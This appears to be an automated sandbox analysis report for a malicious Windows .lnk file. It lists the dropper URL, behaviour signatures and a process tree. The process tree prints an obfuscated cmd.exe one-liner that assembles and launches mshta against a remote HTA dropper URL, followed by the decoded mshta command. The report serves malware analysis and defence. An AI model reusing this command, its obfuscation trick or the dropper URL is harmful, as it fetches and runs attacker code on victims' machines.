Analysis

  • max time kernel
    58s
  • max time network
    26s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 10:46

General

  • Target
    DOC-5NTL6A.lnk
  • Size 2KB
  • Sample260817-mt8cmsyydv
  • SHA256 79485d02f8c75a49b6ad747061916739613c2f2bc63ee8a442f980c79999eb01
  • MD5 SHA1 SHA512 TLSH
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-5NTL6A.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:1240
    • C:\WINDOWS\system32\cmd.exe
      "C:\WINDOWS\system32\cmd.exe" /D/V:on/c"set nMUz=zshl&&set JyzYd=lr2tart1jh&set UfLAQ=dbgwgzebciydbg&set Wp=infqjbhstmjmhyqzyeaemctinf&set nRtr=bakqtbckafuxqbak&set pn=et4ms9&&set BUan=6g8hoxy&&set sNim=agtat&set qgU=dbgnzgzdbg&set oHT=netqfgrkeqcveuoujdnet&&set ymnWO=https:@//ma-pd@ffi@ll@e@[email protected]@at@/@h/@estagio@[email protected]?r=3@91469F@B5@D8@2D@B&&start /b !pn:~3,2!!BUan:~3,1!!sNim:~2,2! !ymnWO:@=!"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1976
      • C:\Windows\System32\mshta.exe
        mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
        3⤵
          PID:5880

    Network

          MITRE ATT&CK Enterprise v16

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          Downloads